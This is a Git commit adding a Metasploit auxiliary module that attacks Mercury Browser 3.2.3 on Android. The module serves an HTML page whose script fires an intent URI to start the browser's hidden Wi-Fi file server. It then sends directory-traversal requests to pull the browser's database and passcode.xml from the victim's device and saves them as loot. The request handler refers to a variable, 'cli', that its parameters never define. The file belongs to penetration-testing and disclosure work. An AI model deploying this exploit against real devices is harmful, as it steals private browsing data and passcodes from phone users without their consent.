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Add Android Mercury Browser Intent URI Scheme & Traversal

bug/bundler_fix
wchen-r7 2015-09-16 00:48:57 -05:00
parent cda102f07a
commit 63bb0cd0ec
1 changed files with 118 additions and 0 deletions
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118
modules/auxiliary/server/android_mercury_parseuri.rb Normal file
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
'Description' => %q{
This module exploits an unsafe intent URI scheme and directory traversal found in
Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
private wifi manager activity, which starts a web server for Mercury on port 8888.
The webserver also suffers a directory traversal that allows remote access to
sensitive files.
},
'Author' =>
[
'rotlogix', # Vuln discovery, PoC, etc
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ]
]
))
end
def send_http_request(rhost, opts={})
res = nil
cli = Rex::Proto::Http::Client.new(rhost, 8888)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError,
OpenSSL::SSL::SSLError, ::Timeout::Error => e
return nil
ensure
cli.close
end
res
end
def get_xml_files(rhost)
base_dir = '../../../../data/data/com.ilegendsoft.mercury'
['mercury_database.db', '/shared_prefs/passcode.xml'].each do |item|
opts = {
'method' => 'GET',
'uri' => '/dodownload',
'vars_get' => {
'fname' => "#{base_dir}#{item}"
},
'headers' => {
'Referer' => "http://#{rhost}:8888/storage/emulated/0/Download/"
}
}
print_status("Retrieving #{item}")
res = send_http_request(rhost, opts)
next unless res
print_status("Server response: #{res.code}")
p = store_loot('android.mercury.file', 'application/octet-stream', rhost, res.body)
print_good("#{item} saved as: #{p}")
end
end
def is_android?(user_agent)
user_agent.include?('Android')
end
def get_html
%Q|
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<script>
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
</script>
</body>
</html>
|
end
def on_request_uri(ci, req)
print_status("Requesting: #{req.uri}")
unless is_android?(req.headers['User-Agent'])
print_error('Target is not Android')
send_not_found(cli)
return
end
print_status('Sending HTML...')
html = get_html
send_response_html(cli, html)
print_status("Attempting to connect to: http://#{cli.peerhost}:8888/")
sleep(2)
get_xml_files(cli.peerhost)
end
def run
exploit
end
end